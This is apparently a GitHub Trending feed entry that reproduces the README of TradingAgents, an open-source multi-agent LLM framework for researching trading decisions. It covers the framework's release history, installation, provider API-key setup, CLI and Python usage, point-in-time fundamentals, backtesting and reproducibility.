Sol and Luna as the default models, and fixes to run isolation and SEC EDGAR statements.</li> \n  <li>[2026-09] <strong>TradingAgents v0.5.0</strong> released with point-in-time integrity across every dated path, SEC EDGAR fundamentals served as filed, backtesting over a ticker and date grid, portfolio-aware runs, and current model lineups across every provider.</li> \n  <li>[2026-08] <strong>TradingAgents v0.4.0</strong> released with look-ahead / point-in-time fixes across FRED macro, social sentiment, and the decision-log memory; clearer decision signals; working CLI checkpoint resume; Trader price grounding; and the GPT-5.6 and GLM-5.3 models.</li> \n  <li>[2026-07] <strong>TradingAgents v0.3.1</strong> released with correctness and stability fixes: Alpha Vantage look-ahead filtering, graph-router crash-safety, graph-shape-aware checkpoint resume, working crypto sentiment sources, a configurable LLM retry budget, Bedrock API-key auth, and Claude Sonnet 5 / Fable 5 support.</li> \n  <li>[2026-06] <strong>TradingAgents v0.3.0</strong> released with a verified data-access contract, an expanded provider registry (NVIDIA, Kimi, Groq, Mistral, Bedrock, and any OpenAI-compatible endpoint), FRED and Polymarket data vendors, a current-generation model catalog, and a CI gate.</li> \n  <li>[2026-05] <strong>TradingAgents v0.2.5</strong> released with the grounded Sentiment Analyst, GPT-5.5 etc. model coverage, Qwen/GLM/MiniMax dual-region support, <code>TRADINGAGENTS_*</code> env-var configurability with API-key auto-detection, remote Ollama support, non-US alpha benchmarks, and ticker path-traversal hardening.</li> \n  <li>[2026-04] <strong>TradingAgents v0.2.4</strong> released with structured-output agents (Research Manager, Trader, Portfolio Manager), LangGraph checkpoint resume, persistent decision log, DeepSeek/Qwen/GLM/Azure provider support, Docker, and a Windows UTF-8 encoding fix.</li> \n  <li>[2026-03] <strong>TradingAgents v0.2.3</strong> released with multi-language support, GPT-5.4 family models, unified model catalog, backtesting date fidelity, and proxy support.</li> \n  <li>[2026-03] <strong>TradingAgents v0.2.2</strong> released with GPT-5.4/Gemini 3.1/Claude 4.6 model coverage, five-tier rating scale, OpenAI Responses API, Anthropic effort control, and cross-platform stability.</li> \n  <li>[2026-02] <strong>TradingAgents v0.2.0</strong> released with multi-provider LLM support (GPT-5.x, Gemini 3.x, Claude 4.x, Grok 4.x) and improved system architecture.</li> \n  <li>[2026-01] <strong>Trading-R1</strong> <a href=\"https://arxiv.org/abs/2509.11420\">Technical Report</a> released, with <a href=\"https://github.com/TauricResearch/Trading-R1\">Terminal</a> expected to land soon.</li> \n </ul> \n</details> \n<!-- news:end --> \n<div align=\"center\"> \n <p>\ud83d\ude80 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#tradingagents-framework\">TradingAgents</a> | \u26a1 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#installation-and-cli\">Installation &amp; CLI</a> | \ud83c\udfac <a href=\"https://www.youtube.com/watch?v=90gr5lwjIho\">Demo</a> | \ud83d\udce6 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#tradingagents-package\">Package Usage</a> | \ud83e\udd1d <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#contributing\">Contributing</a> | \ud83d\udcc4 <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/#citation\">Citation</a></p> \n</div> \n<blockquote> \n <p>\ud83c\udf89 <strong>TradingAgents</strong> officially released! We have received numerous inquiries about the work, and we would like to express our thanks for the enthusiasm in our community.</p> \n <p>So we decided to fully open-source the framework. Looking forward to building impactful projects with you!</p> \n</blockquote> \n<h2>TradingAgents Framework</h2> \n<p>TradingAgents is a multi-agent trading framework that mirrors the dynamics of real-world trading firms. By deploying specialized LLM-powered agents: from fundamental analysts, sentiment experts, and technical analysts, to trader, risk management team, the platform collaboratively evaluates market conditions and informs trading decisions. Moreover, these agents engage in dynamic discussions to pinpoint the optimal strategy.</p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/schema.png\" style=\"width: 100%; height: auto;\" /> </p> \n<blockquote> \n <p>TradingAgents framework is designed for research purposes. Trading performance may vary based on many factors, including the chosen backbone language models, model temperature, trading periods, the quality of data, and other non-deterministic factors. <a href=\"https://tauric.ai/disclaimer/\">It is not intended as financial, investment, or trading advice.</a></p> \n</blockquote> \n<p>Our framework decomposes complex trading tasks into specialized roles.</p> \n<h3>Analyst Team</h3> \n<ul> \n <li>Fundamentals Analyst: Evaluates company financials and performance metrics, identifying intrinsic values and potential red flags.</li> \n <li>Sentiment Analyst: Aggregates news headlines, StockTwits, and Reddit chatter into a single sentiment read to gauge short-term market mood.</li> \n <li>News Analyst: Monitors global news and macroeconomic indicators, interpreting the impact of events on market conditions.</li> \n <li>Technical Analyst: Utilizes technical indicators (like MACD and RSI) to detect trading patterns and forecast price movements.</li> \n</ul> \n<p>The selected analysts work at the same time, each on its own tools, and the research debate starts once all of their reports are in.</p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/analyst.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<h3>Researcher Team</h3> \n<ul> \n <li>Comprises both bullish and bearish researchers who critically assess the insights provided by the Analyst Team. Through structured debates, they balance potential gains against inherent risks.</li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/researcher.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"70%\" /> </p> \n<h3>Trader Agent</h3> \n<ul> \n <li>Composes reports from the analysts and researchers to make informed trading decisions, determining the timing and magnitude of trades.</li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/trader.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"70%\" /> </p> \n<h3>Risk Management and Portfolio Manager</h3> \n<ul> \n <li>Continuously evaluates portfolio risk by assessing market volatility, liquidity, and other risk factors. The risk management team evaluates and adjusts trading strategies, providing assessment reports to the Portfolio Manager for final decision.</li> \n <li>The Portfolio Manager approves/rejects the transaction proposal. If approved, the order will be sent to the simulated exchange and executed.</li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/risk.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"70%\" /> </p> \n<h2>Installation and CLI</h2> \n<h3>Installation</h3> \n<p>Clone TradingAgents:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/TauricResearch/TradingAgents.git\ncd TradingAgents\n</code></pre> \n<p>TradingAgents needs Python 3.11 or later. Create a virtual environment in any of your favorite environment managers:</p> \n<pre><code class=\"language-bash\">conda create -n tradingagents python=3.13\nconda activate tradingagents\n</code></pre> \n<p>Or with <a href=\"https://docs.astral.sh/uv/\">uv</a>:</p> \n<pre><code class=\"language-bash\">uv venv --python 3.13\nsource .venv/bin/activate\n</code></pre> \n<p>Install the package and its dependencies (<code>uv pip install .</code> with uv):</p> \n<pre><code class=\"language-bash\">pip install .\n</code></pre> \n<h3>Docker</h3> \n<p>Alternatively, run with Docker:</p> \n<pre><code class=\"language-bash\">cp .env.example .env  # add your API keys\ndocker compose run --rm tradingagents\n</code></pre> \n<p>After updating the repository, rebuild the image with <code>docker compose build</code>.</p> \n<p>Results, reports, the memory log and the cache live in the <code>tradingagents_data</code> volume. To keep them in a folder on the host instead, create the folder and point <code>TRADINGAGENTS_DATA_DIR</code> at it, in <code>.env</code> or the shell: <code>mkdir -p data &amp;&amp; TRADINGAGENTS_DATA_DIR=./data docker compose run --rm tradingagents</code>.</p> \n<p>For local models with Ollama:</p> \n<pre><code class=\"language-bash\">docker compose --profile ollama run --rm tradingagents-ollama\n</code></pre> \n<h3>Required APIs</h3> \n<p>TradingAgents supports multiple LLM providers. Set the API key for your chosen provider:</p> \n<pre><code class=\"language-bash\">export OPENAI_API_KEY=...          # OpenAI (GPT)\nexport GOOGLE_API_KEY=...          # Google (Gemini)\nexport ANTHROPIC_API_KEY=...       # Anthropic (Claude)\nexport XAI_API_KEY=...             # xAI (Grok)\nexport DEEPSEEK_API_KEY=...        # DeepSeek\nexport DASHSCOPE_API_KEY=...       # Qwen (international, dashscope-intl.aliyuncs.com)\nexport DASHSCOPE_CN_API_KEY=...    # Qwen (China, dashscope.aliyuncs.com)\nexport ZHIPU_API_KEY=...           # GLM via Z.AI (international)\nexport ZHIPU_CN_API_KEY=...        # GLM via BigModel (China, open.bigmodel.cn)\nexport MINIMAX_API_KEY=...         # MiniMax (global, api.minimax.io)\nexport MINIMAX_CN_API_KEY=...      # MiniMax (China, api.minimaxi.com)\nexport OPENROUTER_API_KEY=...      # OpenRouter\nexport MISTRAL_API_KEY=...         # Mistral\nexport MOONSHOT_API_KEY=...        # Kimi (Moonshot)\nexport GROQ_API_KEY=...            # Groq\nexport NVIDIA_API_KEY=...          # NVIDIA NIM\nexport FRED_API_KEY=...            # FRED macro data (free, optional)\nexport ALPHA_VANTAGE_API_KEY=...   # Alpha Vantage\nexport TYPESAFE_API_KEY=...        # Jev social-post screening (optional)\n</code></pre> \n<p>For Azure OpenAI, copy <code>.env.enterprise.example</code> to <code>.env.enterprise</code> and fill in your credentials.</p> \n<p>To run on your ChatGPT Plus or Pro plan instead of an API key, choose \"Subscription\" in the CLI's provider menu, or set <code>llm_provider: \"chatgpt\"</code>. Sign in once with <code>tradingagents login chatgpt</code>: it prints an address to open in your browser, which returns to this machine on <code>127.0.0.1</code>. When the browser runs on another machine, or TradingAgents runs in Docker (<code>docker compose run --rm tradingagents login chatgpt</code>), paste the address the browser ends up on. The sign-in is kept in <code>~/.tradingagents/chatgpt-auth.json</code>, and <code>tradingagents logout chatgpt</code> revokes it. Runs count toward your plan's usage limits, and the plan does not accept <code>temperature</code> or <code>max_tokens</code>.</p> \n<p>For AWS Bedrock, install the extra with <code>pip install \".[bedrock]\"</code>, set <code>llm_provider: \"bedrock\"</code>, configure AWS credentials (environment variables, <code>~/.aws/credentials</code>, or an IAM role) and <code>AWS_DEFAULT_REGION</code>, and use a Bedrock model ID, e.g. <code>us.anthropic.claude-opus-5-5</code>.</p> \n<p>For local models, configure Ollama with <code>llm_provider: \"ollama\"</code>. The default endpoint is <code>http://localhost:11434/v1</code>; set <code>OLLAMA_BASE_URL</code> to point at a remote <code>ollama-serve</code>. Pull models with <code>ollama pull &lt;name&gt;</code>, and pick \"Custom model ID\" in the CLI for any model not listed by default.</p> \n<p>For any other OpenAI-compatible server (vLLM, LM Studio, llama.cpp, or a custom relay), use <code>llm_provider: \"openai_compatible\"</code> and set the endpoint via <code>backend_url</code> (or <code>TRADINGAGENTS_LLM_BACKEND_URL</code>), e.g. <code>http://localhost:8000/v1</code> for vLLM or <code>http://localhost:1234/v1</code> for LM Studio. The model is whatever your server serves. No key is needed for local servers; set <code>OPENAI_COMPATIBLE_API_KEY</code> when the endpoint requires one.</p> \n<p>With <code>TYPESAFE_API_KEY</code> set, the Sentiment Analyst screens StockTwits and Reddit posts with TypeSafe's Jev before reading them. Posts that are not about the company are dropped, and each source opens with a count of the remaining posts by stance: bullish, bearish, neutral, or unclear. Without the key, posts pass through unscreened. <code>jev-latest</code> moves with new releases; set <code>TYPESAFE_DEFAULT_MODEL</code> to a versioned ID such as <code>jev-1.13.0</code> to hold it fixed across runs. To reach Jev through OpenRouter, put an OpenRouter key in <code>TYPESAFE_API_KEY</code> and set <code>TYPESAFE_BASE_URL=https://openrouter.ai/api</code>.</p> \n<p>Alternatively, copy <code>.env.example</code> to <code>.env</code> and fill in your keys:</p> \n<pre><code class=\"language-bash\">cp .env.example .env\n</code></pre> \n<h3>CLI Usage</h3> \n<p>Launch the interactive CLI:</p> \n<pre><code class=\"language-bash\">tradingagents          # installed command\npython -m cli.main     # alternative: run directly from source\n</code></pre> \n<p>You will see a screen where you can select your desired tickers, analysis date, LLM provider, research depth, and more. Your previous run's answers come back as the defaults, so pressing Enter accepts them. The <code>TRADINGAGENTS_*</code> variables in <code>.env</code> still skip their step entirely.</p> \n<p>To run without questions, for a scheduled job or a script, answer the per-run steps with flags and the rest with <code>TRADINGAGENTS_*</code> variables:</p> \n<pre><code class=\"language-bash\">export TRADINGAGENTS_LLM_PROVIDER=openai TRADINGAGENTS_QUICK_THINK_LLM=gpt-6-luna TRADINGAGENTS_DEEP_THINK_LLM=gpt-6-sol\nexport TRADINGAGENTS_OUTPUT_LANGUAGE=English TRADINGAGENTS_MAX_DEBATE_ROUNDS=1 TRADINGAGENTS_MAX_RISK_ROUNDS=1\ntradingagents --ticker NVDA --date 2026-09-23 --analysts market,news,fundamentals --save --no-show\n</code></pre> \n<p>Each flag skips only its own question. Run without a terminal, a missing answer stops the run before it starts and names the flag or variable to set.</p> \n<p>At start-up the interactive CLI mentions a newer release and notices from Tauric Research. It checks at most once a day, in the background, and sends nothing about your runs; set <code>TRADINGAGENTS_NO_UPDATE_CHECK=1</code> to turn it off. Runs without a terminal never check.</p> \n<p>A saved report also includes <code>complete_report.html</code>, the report as one page with its sections listed beside the text, for reading in a browser, on a phone or in print. Answering the save question at the prompt also asks about the page and can open it in your browser; <code>--no-html</code> skips it, and so does <code>ta.save_reports(state, \"NVDA\", html=False)</code> from Python.</p> \n<h3>Markets and tickers</h3> \n<p>TradingAgents works with any market Yahoo Finance covers, using the exchange-suffixed ticker. Company identity and the alpha benchmark resolve automatically per market.</p> \n<ul> \n <li>US: <code>AAPL</code>, <code>SPY</code></li> \n <li>Hong Kong: <code>0700.HK</code> \u00b7 Tokyo: <code>7203.T</code> \u00b7 London: <code>AZN.L</code></li> \n <li>India: <code>RELIANCE.NS</code>, <code>.BO</code> \u00b7 Canada: <code>.TO</code> \u00b7 Australia: <code>.AX</code></li> \n <li>China A-shares: Shanghai <code>.SS</code>, Shenzhen <code>.SZ</code> (e.g. <code>600519.SS</code> for Kweichow Moutai)</li> \n <li>Crypto: <code>BTC-USD</code>, <code>ETH-USD</code></li> \n</ul> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_init.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<p>An interface will appear showing results as they load, letting you track the agent's progress as it runs.</p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_news.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<p align=\"center\"> <img src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/assets/cli/cli_transaction.png\" style=\"display: inline-block; margin: 0 2%;\" width=\"100%\" /> </p> \n<h2>TradingAgents Package</h2> \n<h3>Implementation Details</h3> \n<p>We built TradingAgents with LangGraph to ensure flexibility and modularity. The framework supports multiple LLM providers: OpenAI, Google, Anthropic, xAI, DeepSeek, Qwen (Alibaba DashScope, international and China endpoints), GLM (Zhipu), MiniMax (global + China), OpenRouter, Ollama for local models, Azure OpenAI for enterprise, and your own ChatGPT plan.</p> \n<h3>Python Usage</h3> \n<p>To use TradingAgents inside your code, you can import the <code>tradingagents</code> module and initialize a <code>TradingAgentsGraph()</code> object. The <code>.propagate()</code> function will return a decision. You can run <code>main.py</code>, here's also a quick example:</p> \n<pre><code class=\"language-python\">from tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nta = TradingAgentsGraph(debug=True, config=DEFAULT_CONFIG.copy())\n\n# forward propagate\nstate, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\n\n# the same report tree the CLI saves, under results_dir/reports\nta.save_reports(state, \"NVDA\")\n</code></pre> \n<p>You can also adjust the default configuration to set your own choice of LLMs, debate rounds, etc.</p> \n<pre><code class=\"language-python\">from tradingagents.graph.trading_graph import TradingAgentsGraph\nfrom tradingagents.default_config import DEFAULT_CONFIG\n\nconfig = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\"        # e.g. openai, google, anthropic, deepseek, groq, ollama; openai_compatible covers any OpenAI-compatible endpoint (vLLM, LM Studio, llama.cpp, ...)\nconfig[\"deep_think_llm\"] = \"gpt-6-sol\"    # Model for complex reasoning\nconfig[\"quick_think_llm\"] = \"gpt-6-luna\"   # Model for quick tasks\nconfig[\"max_debate_rounds\"] = 2\n\nta = TradingAgentsGraph(debug=True, config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\nprint(decision)\n</code></pre> \n<p>The quick model serves the analysts, researchers, debaters and trader; the deep model serves the research and portfolio managers. Each can run on its own provider, for example the managers on Claude while the rest run on OpenAI:</p> \n<pre><code class=\"language-python\">config[\"deep_think_provider\"] = \"anthropic\"\nconfig[\"deep_think_llm\"] = \"claude-opus-5-5\"\n</code></pre> \n<p>A tier on its own provider uses that provider's key and default endpoint; set <code>quick_think_backend_url</code> or <code>deep_think_backend_url</code> for a local or relay endpoint. The <code>TRADINGAGENTS_DEEP_THINK_PROVIDER</code> and <code>TRADINGAGENTS_QUICK_THINK_PROVIDER</code> variables set them for the CLI, together with the tier's model variable.</p> \n<p>See <code>tradingagents/default_config.py</code> for all configuration options.</p> \n<h3>Fundamentals as filed</h3> \n<p>US company statements come from SEC EDGAR, which records the date every figure was filed. A run dated in the past reads the statements exactly as they stood that day: a fiscal year that has ended but has not been filed yet is not served, and a figure restated later still reads as first reported. Apple's 2008 total assets were filed as $39.6B and restated to $36.2B in 2010, so a run dated in between reads $39.6B. EDGAR needs no account or API key.</p> \n<p>Other companies' statements come from Yahoo Finance, which dates a statement by the period it covers rather than by when it was published. A run dated today reads them; a run dated in the past is told they are withheld, since Yahoo cannot say which figures were public by then.</p> \n<p>Insider trades are dated by when they happened, not when they were filed, so a run dated in the past is told they are withheld as well.</p> \n<p>SEC asks callers to identify themselves and refuses requests that carry no contact address, so a default one is sent. Set your own so SEC can reach you rather than the project:</p> \n<pre><code class=\"language-bash\">SEC_EDGAR_USER_AGENT=\"Your Name your@email.com\"\n</code></pre> \n<p>It covers companies that file with the SEC, including foreign companies listed in the US. Anything else, such as Hong Kong or A-share listings, falls through to the next vendor in the chain. EDGAR's machine-readable filings begin in 2009, and a fourth quarter is reported as unavailable rather than derived, because filers publish it only inside the annual figure.</p> \n<h3>Current holdings</h3> \n<p>By default the agents do not know what you hold, so their guidance is written for a reader who applies it to their own position. Pass a portfolio to have the trader, the risk analysts and the portfolio manager work against your actual book.</p> \n<pre><code class=\"language-python\">from tradingagents.portfolio import PortfolioContext\n\nportfolio = PortfolioContext.model_validate({\n    \"cash\": 25000.0,\n    \"currency\": \"USD\",\n    \"positions\": [{\"ticker\": \"NVDA\", \"quantity\": 120, \"average_price\": 150.0}],\n})\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\", portfolio=portfolio)\n</code></pre> \n<p>The CLI takes the same content as a JSON file: <code>tradingagents --portfolio my_book.json</code>.</p> \n<p>An empty <code>positions</code> list means a flat book, which is different from passing nothing. A run without a portfolio is never treated as flat.</p> \n<h2>Persistence and Recovery</h2> \n<p>TradingAgents persists two kinds of state across runs.</p> \n<h3>Memory log</h3> \n<p>The memory log is always on. Each completed run appends its decision to <code>~/.tradingagents/memory/trading_memory.md</code>. While the analysts of a later run work, TradingAgents settles every logged decision whose holding period has passed: it fetches the realised return (raw, and alpha against the instrument's regional benchmark) and generates a one-paragraph reflection. The Portfolio Manager then reads the most recent decisions for the same ticker plus recent lessons from other tickers, so each analysis carries forward what worked and what didn't. If settling fails, the run goes on and its report says so.</p> \n<p>Override the path with <code>TRADINGAGENTS_MEMORY_LOG_PATH</code>.</p> \n<p>To settle decisions without running an analysis, for a scheduled job, call <code>ta.settle_all_pending()</code>; it returns the decisions it settled and any it could not.</p> \n<h3>Checkpoint resume</h3> \n<p>Checkpoint resume is opt-in via <code>--checkpoint</code>. When enabled, LangGraph saves state after each node so a crashed or interrupted run resumes from the last successful step instead of starting over. The run view says whether it resumed a saved run or started fresh. Checkpoints are cleared automatically on successful completion.</p> \n<p>Per-ticker SQLite databases live at <code>~/.tradingagents/cache/checkpoints/&lt;TICKER&gt;.db</code> (override the base with <code>TRADINGAGENTS_CACHE_DIR</code>). Use <code>--clear-checkpoints</code> to reset all of them before a run.</p> \n<pre><code class=\"language-bash\">tradingagents --checkpoint           # enable for this run\ntradingagents --clear-checkpoints    # reset before running\n</code></pre> \n<pre><code class=\"language-python\">config = DEFAULT_CONFIG.copy()\nconfig[\"checkpoint_enabled\"] = True\nta = TradingAgentsGraph(config=config)\n_, decision = ta.propagate(\"NVDA\", \"2026-09-01\")\n</code></pre> \n<h2>Evaluating decisions over time</h2> \n<p>One run gives one decision, which cannot tell you whether the system decides well. <code>run_backtest</code> runs the same pipeline over a grid of tickers and dates, writes to a memory log of its own, and scores the decisions whose holding window has since traded.</p> \n<pre><code class=\"language-python\">from tradingagents.backtest import iter_grid, run_backtest, summarize\n\ndates = iter_grid(\"2026-06-01\", \"2026-08-01\", every_n_days=7)\nresult = run_backtest([\"NVDA\", \"AAPL\"], dates, config, selected_analysts=[\"market\", \"news\"])\nprint(summarize(result).render())\n</code></pre> \n<p>From the CLI:</p> \n<pre><code class=\"language-bash\">tradingagents backtest NVDA,AAPL --start 2026-06-01 --end 2026-08-01 --every 7\n</code></pre> \n<p>Each cell is scored on realized alpha against the instrument's regional benchmark, grouped by rating. A decision is entered at the first close after its date, because a run reads news published after that day's close. Your own memory log is never written to, and re-running the same grid with <code>run_id=result.run_id</code> skips the cells that already ran, so an interrupted sweep continues where it stopped.</p> \n<h2>Reproducibility</h2> \n<p>TradingAgents is LLM-driven, so two runs of the same ticker and date can differ. This is expected for a research tool built on language models, not a defect. The variation comes from a few distinct sources, and it helps to separate them.</p> \n<p>Language model sampling is non-deterministic. Even at a fixed temperature, providers do not guarantee byte-identical output across calls, and reasoning models (the default GPT-6 family, and any thinking-mode model) vary the most because their internal reasoning is itself sampled.</p> \n<p>Live data moves. News, StockTwits, and Reddit return different content as time passes, so a run today sees different inputs than a run last week even for the same historical trade date. Pin the analysis date to hold the price and indicator window fixed, but the social and news sources still reflect \"now\".</p> \n<p>To reduce variation you can lower the sampling temperature. Set <code>temperature</code> in your config (or <code>TRADINGAGENTS_TEMPERATURE</code> in <code>.env</code>); lower values make models that honor it more repeatable. The current curated models are reasoning-first and largely ignore temperature, so for tighter reproducibility name a non-reasoning model in your config, or in <code>TRADINGAGENTS_DEEP_THINK_LLM</code> and <code>TRADINGAGENTS_QUICK_THINK_LLM</code>. Any model ID your provider serves is accepted, whether or not the picker lists it.</p> \n<pre><code class=\"language-python\">config = DEFAULT_CONFIG.copy()\nconfig[\"llm_provider\"] = \"openai\"\nconfig[\"temperature\"] = 0.0\n# Reasoning models ignore temperature. For tighter reproducibility, name a\n# non-reasoning model in deep_think_llm / quick_think_llm.\n</code></pre> \n<p>What does not vary anymore: the analyzed company identity is resolved deterministically from the ticker before any agent runs, and the market analyst grounds exact price and indicator claims in a verified data snapshot. Earlier reports of \"different companies\" or fabricated price levels across runs are addressed by these two mechanisms.</p> \n<p>Backtest results are not guaranteed to match any published figure. Returns depend on the model, the temperature, the date range, data quality, and the sampling above. Treat the framework as a research scaffold for studying multi-agent analysis, not as a strategy with a fixed, replicable return.</p> \n<h2>Contributing</h2> \n<p>Contributions are welcome: bug fixes, documentation, and feature ideas; past contributions are credited per release in <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/CHANGELOG.md\"><code>CHANGELOG.md</code></a>.</p> \n<h2>Citation</h2> \n<p>Please reference our work if you find <em>TradingAgents</em> provides you with some help \ud83d\ude03</p> \n<pre><code>@misc{xiao2025tradingagentsmultiagentsllmfinancial,\n      title={TradingAgents: Multi-Agents LLM Financial Trading Framework}, \n      author={Yijia Xiao and Edward Sun and Di Luo and Wei Wang},\n      year={2025},\n      eprint={2412.20138},\n      archivePrefix={arXiv},\n      primaryClass={q-fin.TR},\n      url={https://arxiv.org/abs/2412.20138}, \n}\n</code></pre>", "summary": "<p>TradingAgents: Multi-Agents LLM Financial Trading Framework</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://arxiv.org/pdf/2412.20138\">https://arxiv.org/pdf/2412.20138</a></p><hr /><p align=\"center\"> <img alt=\"Tauric Research\" src=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/tradingagents/assets/tauric-logo.svg?sanitize=true\" width=\"60%\" /> </p> \n<div align=\"center\" style=\"line-height: 1;\"> \n <a href=\"https://arxiv.org/abs/2412.20138\" target=\"_blank\"><img alt=\"arXiv\" src=\"https://img.shields.io/badge/arXiv-2412.20138-B31B1B?logo=arxiv\" /></a> \n <a href=\"https://discord.com/invite/hk9PGKShPK\" target=\"_blank\"><img alt=\"Discord\" src=\"https://img.shields.io/badge/Discord-TradingResearch-7289da?logo=discord&amp;logoColor=white&amp;color=7289da\" /></a> \n <a href=\"https://x.com/TauricResearch\" target=\"_blank\"><img alt=\"X Follow\" src=\"https://img.shields.io/badge/X-TauricResearch-white?logo=x&amp;logoColor=white\" /></a> \n <a href=\"https://github.com/TauricResearch/\" target=\"_blank\"><img alt=\"Community\" src=\"https://img.shields.io/badge/GitHub_Community-TauricResearch-14C290?logo=discourse\" /></a> \n</div> \n<br /> \n<div align=\"center\"> \n <a href=\"https://github.com/TauricResearch\" target=\"_blank\"><img alt=\"TradingAgents #1 Repository of the Day\" height=\"55\" src=\"https://trendshift.io/api/badge/repositories/16192\" width=\"250\" /></a> \n</div> \n<br /> \n<div align=\"center\"> \n <!-- Keep these links. Translations will automatically update with the README. --> \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=de\">Deutsch</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=es\">Espa\u00f1ol</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=fr\">fran\u00e7ais</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=ja\">\u65e5\u672c\u8a9e</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=ko\">\ud55c\uad6d\uc5b4</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=pt\">Portugu\u00eas</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=ru\">\u0420\u0443\u0441\u0441\u043a\u0438\u0439</a> | \n <a href=\"https://www.readme-i18n.com/TauricResearch/TradingAgents?lang=zh\">\u4e2d\u6587</a> \n</div> \n<hr /> \n<h1>TradingAgents: Multi-Agents LLM Financial Trading Framework</h1> \n<h2>News</h2> \n<!-- news:start --> \n<ul> \n <li>[2026-10] <strong>TradingAgents v0.7.0</strong> released with runs on your own ChatGPT Plus or Pro plan, backtests scored from the first close after each decision, a note at start-up when a newer release is out, and a wheel attached to each GitHub release.</li> \n <li>[2026-10] <strong>TradingAgents v0.6.0</strong> released with reports saved as one HTML page, a provider per model tier so the managers and analysts can run on different models, past decisions settled for every ticker while the analysts work, and company news read from Yahoo search while Yahoo's news feed is down.</li> \n <li>[2026-09] <strong>TradingAgents v0.5.2</strong> released with parallel analysts for a faster analysis, a CLI that runs without prompts from flags such as <code>--ticker</code> and <code>--date</code>, the run's settings recorded in every report, and backtests that see only data published by each analysis date.</li> \n</ul> \n<p>Full release notes are in <a href=\"https://raw.githubusercontent.com/TauricResearch/TradingAgents/main/CHANGELOG.md\">CHANGELOG.md</a>.</p> \n<details> \n Earlier news \n <ul> \n  <li>[2026-09] <strong>TradingAgents v0.5.1</strong> released with a package layout organised by what each module holds (import paths moved), optional Jev screening of social posts, GPT-6 Sol and Luna as the default models, and fixes to run isolation and SEC EDGAR statements.</li> \n  <li>[2026-09] <strong>TradingAgents v0.5.0</strong> released with point-in-time integrity across every dated path, SEC EDGAR fundamentals served as filed, backtesting over a ticker and date grid, portfolio-aware runs, and current model lineups across every provider.</li> \n  <li>[2026-08] <strong>TradingAgents v0.4.0</strong> released with look-ahead / point-in-time fixes across FRED macro, social sentiment, and the decision-log memory; clearer decision signals; working CLI checkpoint resume; Trader price grounding; and the GPT-5.6 and GLM-5.3 models.</li> \n  <li>[2026-07] <strong>TradingAgents v0.3.1</strong> released with correctness and stability fixes: Alpha Vantage look-ahead filtering, graph-router crash-safety, graph-shape-aware checkpoint resume, working crypto sentiment sources, a configurable LLM retry budget, Bedrock API-key auth, and Claude Sonnet 5 / Fable 5 support.</li> \n  <li>[2026-06] <strong>TradingAgents v0.3.0</strong> released with a verified data-access contract, an expanded provider registry (NVIDIA, Kimi, Groq, Mistral, Bedrock, and any OpenAI-compatible endpoint), FRED and Polymarket data vendors, a current-generation model catalog, and a CI gate.</li> \n  <li>[2026-05] <strong>TradingAgents v0.2.5</strong> released with the grounded Sentiment Analyst, GPT-5.5 etc. model coverage, Qwen/GLM/MiniMax dual-region support, <code>TRADINGAGENTS_*</code> env-var configurability with API-key auto-detection, remote Ollama support, non-US alpha benchmarks, and ticker path-traversal hardening.</li> \n  <li>[2026-04] <strong>TradingAgents v0.2.4</strong> released with structured-output agents (Research Manager, Trader, Portfolio Manager), LangGraph checkpoint resume, persistent decision log, DeepSeek/Qwen/GLM/Azure provider support, Docker, and a Windows UTF-8 encoding fix.</li> \n  <li>[2026-03] <strong>TradingAgents v0.2.3</strong> released with multi-language support, GPT-5.4 family models, unified model catalog, backtesting date fidelity, and proxy support.</li> \n  <li>[2026-03] <strong>TradingAgents v0.2.2</strong> released with GPT-5.4/Gemini 3.1/Claude 4.6 model coverage, five-tier rating scale, OpenAI Responses API, Anthropic effort control, and cross-platform stability.</li> \n  <li>[2026-02] <strong>TradingAgents v0.2.0</strong> released with multi-provider LLM support (GPT-5.x, Gemini 3.x, Claude 